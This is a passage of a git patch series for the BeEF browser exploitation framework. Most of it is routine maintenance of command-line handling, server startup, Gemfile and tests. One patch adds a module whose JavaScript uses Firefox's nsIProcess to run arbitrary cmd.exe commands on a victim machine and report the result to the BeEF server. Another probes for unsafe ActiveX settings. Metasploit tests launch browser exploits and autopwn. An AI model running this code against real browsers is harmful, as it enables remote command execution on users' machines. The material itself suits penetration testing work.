From bfd6f764aaf1ae383ac23aa95088672f13f54bf1 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 10 Jan 2012 17:29:07 +1030 Subject: [PATCH 01/33] Added module Mozilla nsIProcess XPCOM Interface This module is a port of the same module from BeEF-0.4.0.0 It has not been tested. It is currently disabled. Part of issue 506 --- .../mozilla_nsiprocess_interface/command.js | 36 +++++++++++++++++++ .../mozilla_nsiprocess_interface/config.yaml | 31 ++++++++++++++++ .../mozilla_nsiprocess_interface/module.rb | 32 +++++++++++++++++ 3 files changed, 99 insertions(+) create mode 100644 modules/exploits/mozilla_nsiprocess_interface/command.js create mode 100644 modules/exploits/mozilla_nsiprocess_interface/config.yaml create mode 100644 modules/exploits/mozilla_nsiprocess_interface/module.rb diff --git a/modules/exploits/mozilla_nsiprocess_interface/command.js b/modules/exploits/mozilla_nsiprocess_interface/command.js new file mode 100644 index 000000000..758a5dea5 --- /dev/null +++ b/modules/exploits/mozilla_nsiprocess_interface/command.js @@ -0,0 +1,36 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var result = "command sent"; + + try { + var command_str = "<%= command_str.gsub!(/"/, '\\"') %>"; + var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home",Components.interfaces.nsIFile); + var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); + var lPath = "C:\\WINDOWS\\system32\\cmd.exe"; // maybe "%WINDIR%\\system32\\cmd.exe" would work? + lFile.initWithPath(lPath); + var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); + process.init(lFile); + process.run(false,['/c', command_str],2); + } catch (e) { + result = "an unexpected error occured"; + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result); + +}); + diff --git a/modules/exploits/mozilla_nsiprocess_interface/config.yaml b/modules/exploits/mozilla_nsiprocess_interface/config.yaml new file mode 100644 index 000000000..7e1b71cd2 --- /dev/null +++ b/modules/exploits/mozilla_nsiprocess_interface/config.yaml @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + mozilla_nsiprocess_interface: + enable: false + category: "Exploits" + name: "Mozilla nsIProcess XPCOM Interface (Windows)" + description: "The nsIProcess XPCOM interface represents an executable process. JavaScript code with chrome privileges can use the nsIProcess interface to launch executable files. In this module, nsIProcess is combined with the Windows command prompt cmd.exe

Any XSS injection in a chrome privileged zone (e.g. typically in Firefox extensions) allows this module to execute arbitrary commands on the victim machine." + authors: ["wade", "bcoles", "roberto.suggi@security-assessment.com", "nick.freeman@security-assessment.com"] + target: + working: + FF: + min_ver: 1 + # It's actually 3.5 but min_ver only supports integers + max_ver: 3 + not_working: ["All"] + diff --git a/modules/exploits/mozilla_nsiprocess_interface/module.rb b/modules/exploits/mozilla_nsiprocess_interface/module.rb new file mode 100644 index 000000000..d69389b9f --- /dev/null +++ b/modules/exploits/mozilla_nsiprocess_interface/module.rb @@ -0,0 +1,32 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# This module is a port of the same module from BeEF-0.4.0.0 +# It has not been tested +class Mozilla_nsiprocess_interface < BeEF::Core::Command + + def self.options + return [ + {'name' => 'ports', 'ui_label' => 'Windows Command', 'value' => 'ping localhost'} + ] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end From a87a161bc10ec95bf6397f941052e6b42627f81f Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 10 Jan 2012 17:33:26 +1030 Subject: [PATCH 02/33] Added module Detect Unsafe ActiveX --- .../browser/detect_unsafe_activex/command.js | 39 +++++++++++++++++++ .../browser/detect_unsafe_activex/config.yaml | 27 +++++++++++++ .../browser/detect_unsafe_activex/module.rb | 24 ++++++++++++ 3 files changed, 90 insertions(+) create mode 100644 modules/browser/detect_unsafe_activex/command.js create mode 100644 modules/browser/detect_unsafe_activex/config.yaml create mode 100644 modules/browser/detect_unsafe_activex/module.rb diff --git a/modules/browser/detect_unsafe_activex/command.js b/modules/browser/detect_unsafe_activex/command.js new file mode 100644 index 000000000..b83317dec --- /dev/null +++ b/modules/browser/detect_unsafe_activex/command.js @@ -0,0 +1,39 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var unsafe = true; + var result = ""; + var test; + + try { + test = new ActiveXObject("WbemScripting.SWbemLocator"); + } catch (e) { + unsafe = false; + } + + test = null; + + if (unsafe) { + result = "Browser is configured for unsafe ActiveX"; + } else { + result = "Browser is NOT configured for unsafe ActiveX"; + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "unsafe_activex="+result); + +}); + diff --git a/modules/browser/detect_unsafe_activex/config.yaml b/modules/browser/detect_unsafe_activex/config.yaml new file mode 100644 index 000000000..6cb65983d --- /dev/null +++ b/modules/browser/detect_unsafe_activex/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + detect_unsafe_activex: + enable: true + category: "Browser" + name: "Detect Unsafe ActiveX" + description: "This module will check if IE has been insecurely configured. It will test if the option \"Initialize and script ActiveX controls not marked as safe for scripting\" is enabled.

The setting can be found in: Tools Menu -> Internet Options -> Security -> Custom level -> \"Initialize and script ActiveX controls not marked as safe for scripting\"" + authors: ["wade", "bcoles"] + target: + user_notify: ["IE"] + not_working: ["All"] + diff --git a/modules/browser/detect_unsafe_activex/module.rb b/modules/browser/detect_unsafe_activex/module.rb new file mode 100644 index 000000000..9f7947d56 --- /dev/null +++ b/modules/browser/detect_unsafe_activex/module.rb @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Detect_unsafe_activex < BeEF::Core::Command + + def post_execute + content = {} + content['unsafe_activex'] = @datastore['unsafe_activex'] + save content + end + +end From eab4d3083d903641a2ab65cf3c8f21c87449eb93 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Wed, 11 Jan 2012 20:53:51 +1000 Subject: [PATCH 03/33] Fix added for #78 Gracefully fail command line with unknown option https://github.com/beefproject/beef/issues/78 Now the framework suggests the user runs --help --- extensions/console/commandline.rb | 76 +++++++++++++++++-------------- 1 file changed, 41 insertions(+), 35 deletions(-) diff --git a/extensions/console/commandline.rb b/extensions/console/commandline.rb index 8932bdf32..701050d44 100644 --- a/extensions/console/commandline.rb +++ b/extensions/console/commandline.rb @@ -14,43 +14,49 @@ # limitations under the License. # module BeEF -module Extension -module Console - # - # This module parses the command line argument when running beef. - # - module CommandLine - - @options = Hash.new - @options[:verbose] = false - @options[:resetdb] = false - - @already_parsed = false - - # - # Parses the command line arguments of the console. - # It also populates the 'options' hash. - # - def self.parse - return @options if @already_parsed - - optparse = OptionParser.new do |opts| - opts.on('-x', '--reset', 'Reset the database') do - @options[:resetdb] = true - end - - opts.on('-v', '--verbose', 'Display debug information') do - @options[:verbose] = true + module Extension + module Console + # + # This module parses the command line argument when running beef. + # + module CommandLine + + @options = Hash.new + @options[:verbose] = false + @options[:resetdb] = false + + @already_parsed = false + + # + # Parses the command line arguments of the console. + # It also populates the 'options' hash. + # + def self.parse + return @options if @already_parsed + + begin + optparse = OptionParser.new do |opts| + opts.on('-x', '--reset', 'Reset the database') do + @options[:resetdb] = true + end + + opts.on('-v', '--verbose', 'Display debug information') do + @options[:verbose] = true + end + end + + + optparse.parse! + @already_parsed = true + @options + rescue OptionParser::InvalidOption => e + puts "Invalid command line option provided. Please run beef --help" + exit 1 + end end + end - - optparse.parse! - @already_parsed = true - @options + end - end - -end -end end \ No newline at end of file From 69dc74351f717c28da71bb693e5200e149969417 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Wed, 11 Jan 2012 21:24:01 +1000 Subject: [PATCH 04/33] Removed deprecation warnings --- beef | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/beef b/beef index 5221018fa..7167d29e5 100755 --- a/beef +++ b/beef @@ -1,4 +1,4 @@ -#!/usr/bin/env ruby +#!/usr/bin/env ruby -W0 # # Copyright 2012 Wade Alcorn wade@bindshell.net From 6589c1076035092dbde002c3b7ed2596d7cc8316 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Wed, 11 Jan 2012 21:27:03 +1000 Subject: [PATCH 05/33] Minor tidy up --- extensions/console/commandline.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/extensions/console/commandline.rb b/extensions/console/commandline.rb index 701050d44..3c27e814c 100644 --- a/extensions/console/commandline.rb +++ b/extensions/console/commandline.rb @@ -45,7 +45,6 @@ module BeEF end end - optparse.parse! @already_parsed = true @options From 76fdb6421cbdf871245d0c16262e9772df2e43a7 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Wed, 11 Jan 2012 21:56:17 +1000 Subject: [PATCH 06/33] The framework gracefully exits if the port is in use. Fixes issue #555 https://github.com/beefproject/beef/issues/555 --- core/main/server.rb | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/core/main/server.rb b/core/main/server.rb index 8f4b81046..e47eb1fd1 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -89,26 +89,35 @@ module BeEF @rack_app = Rack::URLMap.new(@mounts) if not @http_server - + # Set the logging level of Thin to match the config Thin::Logging.silent = true if @configuration.get('beef.http.debug') == true Thin::Logging.silent = false Thin::Logging.debug = true end - + # Create the BeEF http server @http_server = Thin::Server.new( - @configuration.get('beef.http.host'), - @configuration.get('beef.http.port'), - @rack_app) + @configuration.get('beef.http.host'), + @configuration.get('beef.http.port'), + @rack_app) end end # Starts the BeEF http server def start - # starts the web server - @http_server.start + begin + @http_server.start # starts the web server + rescue RuntimeError => e + if e.message =~ /no acceptor/ # the port is in use + print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}." + print_error "Is BeEF already running? Exiting..." + exit 127 + else + raise + end + end end end From 250140f52f6f2465accd3344ab95abe0bd481401 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Wed, 11 Jan 2012 22:05:56 +1000 Subject: [PATCH 07/33] The win32console gem is now only installed on windows. Fixes issue #553 https://github.com/beefproject/beef/issues/553 --- Gemfile | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/Gemfile b/Gemfile index c250c114d..5217b950c 100644 --- a/Gemfile +++ b/Gemfile @@ -27,6 +27,11 @@ gem "parseconfig" gem "erubis" gem "dm-migrations" +# Gems only required one windows +if RUBY_PLATFORM.downcase.include?("mswin") + gem "win32console" +end + # for the console shell extension gem "librex", "0.0.52" From d8797f6bc720436b0c6052393eaa3893928f862c Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Wed, 11 Jan 2012 23:15:19 +1000 Subject: [PATCH 08/33] Updated the 'update to the latest revision' line to use 'git pull' --- extensions/console/banners.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/console/banners.rb b/extensions/console/banners.rb index 9886fe97e..038eb7b52 100644 --- a/extensions/console/banners.rb +++ b/extensions/console/banners.rb @@ -44,7 +44,7 @@ module Banners data = "Version #{version}\n" data += "Website http://beefproject.com\n" data += "Run 'beef -h' for basic help.\n" - data += "Run 'git pull https://github.com/beefproject/beef.git master' to update to the latest revision." + data += "Run 'git pull' to update to the latest revision." print_more data end From cd99ea56d72e98a461ab4b99aad1795029c81a2f Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 13:59:57 +1000 Subject: [PATCH 09/33] By default quick test are now run --- rakefile | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/rakefile b/rakefile index fcc516752..d690a4cfc 100644 --- a/rakefile +++ b/rakefile @@ -17,15 +17,15 @@ @msf_process_id = nil; desc "Run quick unit tests" -task :quick_unit_tests do - sh "cd test/unit/;ruby ts_beef.rb no_msf" +task :quick do + sh "cd test/unit/;ruby -W0 ts_beef.rb no_msf" end desc "Run all unit tests" -task :all_unit_tests => ["install", "msf_install"] do +task :all => ["install", "msf_install"] do Rake::Task['msf_update'].invoke Rake::Task['msf_start'].invoke - sh "cd test/unit/;ruby ts_beef.rb" + sh "cd test/unit/;ruby -W0 ts_beef.rb" Rake::Task['msf_stop'].invoke end @@ -34,7 +34,7 @@ task :install do end task :no_msf_tests do - sh "cd test/unit/;ruby ts_beef.rb no_msf" + sh "cd test/unit/;ruby -W0 ts_beef.rb no_msf" end task :msf_start => 'test/msf-test/msfconsole' do @@ -65,4 +65,4 @@ file 'test/msf-test/msfconsole' do sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git msf-test" end -task :default => ["all_unit_tests"] +task :default => ["quick"] From 84d92bba1a58f0bb65cfe073f0e12537c02601ad Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 14:24:38 +1000 Subject: [PATCH 10/33] Added teardown clean up code --- .../handlers/dynamicreconstruction.rb | 35 ++++++++++--------- test/unit/core/tc_api.rb | 6 +++- test/unit/core/tc_core.rb | 7 +++- test/unit/core/tc_loader.rb | 6 +++- 4 files changed, 34 insertions(+), 20 deletions(-) diff --git a/test/unit/core/main/network_stack/handlers/dynamicreconstruction.rb b/test/unit/core/main/network_stack/handlers/dynamicreconstruction.rb index 280554cf9..7c42b1e29 100644 --- a/test/unit/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/test/unit/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -18,15 +18,15 @@ require 'rubygems' require 'curb' class TC_DynamicReconstruction < Test::Unit::TestCase - + @@port = 20000 + rand(10000) - + def setup $root_dir="../../" $:.unshift File.join( %w{ ../../ } ) require 'core/loader' require 'core/main/network_stack/handlers/dynamicreconstruction.rb' - + @@port += 1 # cycle through ports because the tcp teardown process is too slow @port = @@port @@ -45,9 +45,10 @@ class TC_DynamicReconstruction < Test::Unit::TestCase @server.start! end end - + def teardown Process.kill("INT",@pid) + $root_dir = nil end # the server doesn't offer a mutex or callback @@ -66,46 +67,46 @@ class TC_DynamicReconstruction < Test::Unit::TestCase def test_delete wait_for_server response = Curl::Easy.http_delete("http://127.0.0.1:" + @port.to_s + "/test") - assert_equal 404, response.response_code + assert_equal 404, response.response_code end - + def test_put wait_for_server response = Curl::Easy.http_put("http://127.0.0.1:" + @port.to_s + "/test", nil) - assert_equal 404, response.response_code + assert_equal 404, response.response_code end - + def test_head wait_for_server response = Curl::Easy.http_head("http://127.0.0.1:" + @port.to_s + "/test") - assert_equal 404, response.response_code + assert_equal 404, response.response_code end - + def test_no_params wait_for_server response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test") assert_equal 404, response.response_code end - + def test_zero_values wait_for_server response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh=0&sid=0&pid=0&pc=0&d=0") assert_equal 200, response.response_code assert_equal "", response.body_str - end - + end + def test_one_values wait_for_server response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh=1&sid=1&pid=1&pc=1&d=1") assert_equal 200, response.response_code assert_equal "", response.body_str - end - + end + def test_neg_one_values wait_for_server response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh=-1&sid=-1&pid=-1&pc=-1&d=-1") assert_equal 200, response.response_code assert_equal "", response.body_str - end - + end + end diff --git a/test/unit/core/tc_api.rb b/test/unit/core/tc_api.rb index 325f63a2b..e77d40e9a 100644 --- a/test/unit/core/tc_api.rb +++ b/test/unit/core/tc_api.rb @@ -18,10 +18,14 @@ require 'test/unit' class TC_Api < Test::Unit::TestCase def setup - $root_dir="../../" + $root_dir = "../../" $:.unshift File.join( %w{ ../../ } ) end + def teardown + $root_dir = nil + end + # # Test the api is functional # diff --git a/test/unit/core/tc_core.rb b/test/unit/core/tc_core.rb index dd5b9e6ba..a41910286 100644 --- a/test/unit/core/tc_core.rb +++ b/test/unit/core/tc_core.rb @@ -18,10 +18,14 @@ require 'test/unit' class TC_Core < Test::Unit::TestCase def setup - $root_dir="../../" + $root_dir = "../../" $:.unshift File.join( %w{ ../../ } ) end + def teardown + $root_dir = nil + end + # # Test the core is functional # @@ -32,3 +36,4 @@ class TC_Core < Test::Unit::TestCase end end + diff --git a/test/unit/core/tc_loader.rb b/test/unit/core/tc_loader.rb index 6aef5ad3f..7d19f40d0 100644 --- a/test/unit/core/tc_loader.rb +++ b/test/unit/core/tc_loader.rb @@ -18,10 +18,14 @@ require 'test/unit' class TC_Loader < Test::Unit::TestCase def setup - $root_dir="../../" + $root_dir = "../../" $:.unshift File.join( %w{ ../../ } ) end + def teardown + $root_dir = nil + end + # # Test the loader is functional # From cbaf8ab6b75d62101a8abe89566b4f46dd7eb4fb Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 17:23:04 +1000 Subject: [PATCH 11/33] Updated unit test structure --- test/common/ts_common.rb | 31 +++++++++++++++++++++ test/unit/{ts_beef.rb => ts_unit.rb} | 41 +++------------------------- 2 files changed, 35 insertions(+), 37 deletions(-) create mode 100644 test/common/ts_common.rb rename test/unit/{ts_beef.rb => ts_unit.rb} (52%) diff --git a/test/common/ts_common.rb b/test/common/ts_common.rb new file mode 100644 index 000000000..25ebc2b03 --- /dev/null +++ b/test/common/ts_common.rb @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# @note Version check to ensure BeEF is running Ruby 1.9 > +if RUBY_VERSION < '1.9' + puts "\n" + puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later." + puts "\n" + exit +end + +begin + require 'test/unit/ui/console/testrunner' +rescue LoadError + puts "The following instruction failed: require 'test/unit/ui/console/testrunner'" + puts "Please run: sudo gem install test-unit-full" + exit +end diff --git a/test/unit/ts_beef.rb b/test/unit/ts_unit.rb similarity index 52% rename from test/unit/ts_beef.rb rename to test/unit/ts_unit.rb index c5018deed..3e371a7a6 100644 --- a/test/unit/ts_beef.rb +++ b/test/unit/ts_unit.rb @@ -14,41 +14,9 @@ # limitations under the License. # -# @note Version check to ensure BeEF is running Ruby 1.9 > -if RUBY_VERSION < '1.9' - puts "\n" - puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later." - puts "\n" - exit -end +# Common lib for BeEF tests +require '../common/ts_common' -begin - require 'test/unit/ui/console/testrunner' -rescue LoadError - puts "The following instruction failed: require 'test/unit/ui/console/testrunner'" - puts "Please run: sudo gem install test-unit-full" - exit -end - -begin - require 'curb' -rescue LoadError - puts "The following instruction failed: require 'curb'" - puts "Please run: sudo gem install curb" - exit -end - -if (ARGV[0] != 'no_msf') - begin - require 'msfrpc-client' - rescue LoadError - puts "The following instruction failed: require 'msfrpc-client'" - puts "Please run: sudo gem install msfrpc-client" - exit - end -end - -require './core/main/network_stack/handlers/dynamicreconstruction.rb' require './core/filter/tc_base' require './core/filter/tc_command' require './core/tc_loader' @@ -56,10 +24,10 @@ require './core/tc_core' require './core/tc_api' require './tc_grep' require './tc_filesystem' -require './extensions/tc_metasploit' unless (ARGV[0] == 'no_msf') class TS_BeefTests def self.suite + suite = Test::Unit::TestSuite.new(name="BeEF TestSuite") suite << TC_Filter.suite suite << TC_Loader.suite @@ -67,8 +35,7 @@ class TS_BeefTests suite << TC_Api.suite suite << TC_Filesystem.suite suite << TC_Grep.suite - #suite << TC_DynamicReconstruction.suite - suite << TC_Metasploit.suite unless (ARGV[0] == 'no_msf') + return suite end end From 1fec60d3bb69944d17047a4232545c54483265bf Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 17:24:33 +1000 Subject: [PATCH 12/33] Moved MSF tests to the 'thirdparty' directory. --- test/{ => thirdparty/msf}/unit/BeEF.rc | 0 test/thirdparty/msf/unit/check_environment.rb | 10 +++++ .../msf/unit}/tc_metasploit.rb | 37 +++++++++------- test/thirdparty/msf/unit/ts_metasploit.rb | 43 +++++++++++++++++++ 4 files changed, 74 insertions(+), 16 deletions(-) rename test/{ => thirdparty/msf}/unit/BeEF.rc (100%) create mode 100644 test/thirdparty/msf/unit/check_environment.rb rename test/{unit/extensions => thirdparty/msf/unit}/tc_metasploit.rb (81%) create mode 100644 test/thirdparty/msf/unit/ts_metasploit.rb diff --git a/test/unit/BeEF.rc b/test/thirdparty/msf/unit/BeEF.rc similarity index 100% rename from test/unit/BeEF.rc rename to test/thirdparty/msf/unit/BeEF.rc diff --git a/test/thirdparty/msf/unit/check_environment.rb b/test/thirdparty/msf/unit/check_environment.rb new file mode 100644 index 000000000..3594ba117 --- /dev/null +++ b/test/thirdparty/msf/unit/check_environment.rb @@ -0,0 +1,10 @@ +require 'test/unit' + +class TC_CheckEnvironment < Test::Unit::TestCase + + def test_check_env + # Add environment checks here + + end + +end \ No newline at end of file diff --git a/test/unit/extensions/tc_metasploit.rb b/test/thirdparty/msf/unit/tc_metasploit.rb similarity index 81% rename from test/unit/extensions/tc_metasploit.rb rename to test/thirdparty/msf/unit/tc_metasploit.rb index f0478f35b..3f625ca9b 100644 --- a/test/unit/extensions/tc_metasploit.rb +++ b/test/thirdparty/msf/unit/tc_metasploit.rb @@ -19,8 +19,13 @@ require 'pp' class TC_Metasploit < Test::Unit::TestCase def setup - $root_dir="../../" - $:.unshift File.join( %w{ ../../ } ) + $root_dir="../../../../" + $:.unshift File.join( %w{ ../../../../ } ) + require 'core/loader' + end + + def teardown + $root_dir = nil end # @@ -42,12 +47,12 @@ class TC_Metasploit < Test::Unit::TestCase # Create an api instance def new_api - load_config - require 'extensions/metasploit/extension.rb' - @api = BeEF::Extension::Metasploit::RpcClient.instance - @api.unit_test_init() + load_config + require 'extensions/metasploit/extension.rb' + @api = BeEF::Extension::Metasploit::RpcClient.instance + @api.unit_test_init() end - + # # Verify that the config file has required information # @@ -74,7 +79,7 @@ class TC_Metasploit < Test::Unit::TestCase # Verify that the login is working # def test_login - new_api + new_api assert(@api.login) end @@ -83,13 +88,13 @@ class TC_Metasploit < Test::Unit::TestCase @api.login assert(@api.call('core.version')) end - + def test_browser_exploits new_api @api.login exploits = nil assert_nothing_raised do - exploits = @api.browser_exploits() + exploits = @api.browser_exploits() end assert(exploits.length > 5) end @@ -99,17 +104,17 @@ class TC_Metasploit < Test::Unit::TestCase @api.login info = nil assert_nothing_raised do - info = @api.get_exploit_info('windows/dcerpc/ms03_026_dcom') + info = @api.get_exploit_info('windows/dcerpc/ms03_026_dcom') end assert( info['name'].nil? != true) end - + def test_get_options new_api @api.login info = nil assert_nothing_raised do - info = @api.get_options('windows/dcerpc/ms03_026_dcom') + info = @api.get_options('windows/dcerpc/ms03_026_dcom') end assert( info['RHOST'].nil? != true) end @@ -119,7 +124,7 @@ class TC_Metasploit < Test::Unit::TestCase @api.login payloads = nil assert_nothing_raised do - payloads = @api.payloads + payloads = @api.payloads end assert( payloads.length > 5 ) end @@ -130,7 +135,7 @@ class TC_Metasploit < Test::Unit::TestCase opts = { 'PAYLOAD' => 'windows/meterpreter/bind_tcp', 'URIPATH' => '/test1','SRVPORT' => 8080} ret = nil assert_nothing_raised do - ret = @api.launch_exploit('windows/browser/adobe_utilprintf',opts) + ret = @api.launch_exploit('windows/browser/adobe_utilprintf',opts) end assert(ret['job_id'] != nil ) end @@ -140,7 +145,7 @@ class TC_Metasploit < Test::Unit::TestCase @api.login ret = nil assert_nothing_raised do - ret = @api.launch_autopwn + ret = @api.launch_autopwn end assert(ret['job_id'] != nil ) end diff --git a/test/thirdparty/msf/unit/ts_metasploit.rb b/test/thirdparty/msf/unit/ts_metasploit.rb new file mode 100644 index 000000000..8e5754d71 --- /dev/null +++ b/test/thirdparty/msf/unit/ts_metasploit.rb @@ -0,0 +1,43 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# Common lib for BeEF tests +require '../../../common/ts_common' + +begin + require 'msfrpc-client' +rescue LoadError + puts "The following instruction failed: require 'msfrpc-client'" + puts "Please run: sudo gem install msfrpc-client" + exit +end + +require './check_environment' +require './tc_metasploit' + +class TS_BeefTests + def self.suite + + suite = Test::Unit::TestSuite.new(name="BeEF MSF TestSuite") + suite << TC_CheckEnvironment.suite + suite << TC_Metasploit.suite + + return suite + end +end + +Test::Unit::UI::Console::TestRunner.run(TS_BeefTests) + From 34c4cc66ad5c04ffe594ee41cb1c236c0ee9fcb8 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 17:25:12 +1000 Subject: [PATCH 13/33] Added integration tests using capybara, selenium and firefox --- test/integration/check_environment.rb | 10 +++++++ test/integration/tc_login.rb | 33 +++++++++++++++++++++ test/integration/ts_integration.rb | 41 +++++++++++++++++++++++++++ 3 files changed, 84 insertions(+) create mode 100644 test/integration/check_environment.rb create mode 100644 test/integration/tc_login.rb create mode 100644 test/integration/ts_integration.rb diff --git a/test/integration/check_environment.rb b/test/integration/check_environment.rb new file mode 100644 index 000000000..3594ba117 --- /dev/null +++ b/test/integration/check_environment.rb @@ -0,0 +1,10 @@ +require 'test/unit' + +class TC_CheckEnvironment < Test::Unit::TestCase + + def test_check_env + # Add environment checks here + + end + +end \ No newline at end of file diff --git a/test/integration/tc_login.rb b/test/integration/tc_login.rb new file mode 100644 index 000000000..80886061b --- /dev/null +++ b/test/integration/tc_login.rb @@ -0,0 +1,33 @@ +require 'test/unit' + +class TC_login < Test::Unit::TestCase + include Capybara::DSL + + def teardown + Capybara.reset_sessions! + Capybara.use_default_driver + end + + def test_log_in + session = Capybara::Session.new(:selenium) + session.visit('http://localhost:3000/ui/panel') + session.has_content?('BeEF Authentication') + session.fill_in 'user', :with => 'beef' + session.fill_in 'pass', :with => 'beef' + session.click_button('Login') + session.has_content?('logout') + + session + end + + + def test_log_out + session = test_log_in + session.has_content?('logout') + session.click_link('Logout') + session.has_content?('BeEF Authentication') + + session + end + +end \ No newline at end of file diff --git a/test/integration/ts_integration.rb b/test/integration/ts_integration.rb new file mode 100644 index 000000000..bd5859494 --- /dev/null +++ b/test/integration/ts_integration.rb @@ -0,0 +1,41 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# Common lib for BeEF tests +require '../common/ts_common' + +require 'capybara/DSL' +Capybara.run_server = false # we need to run our own BeEF 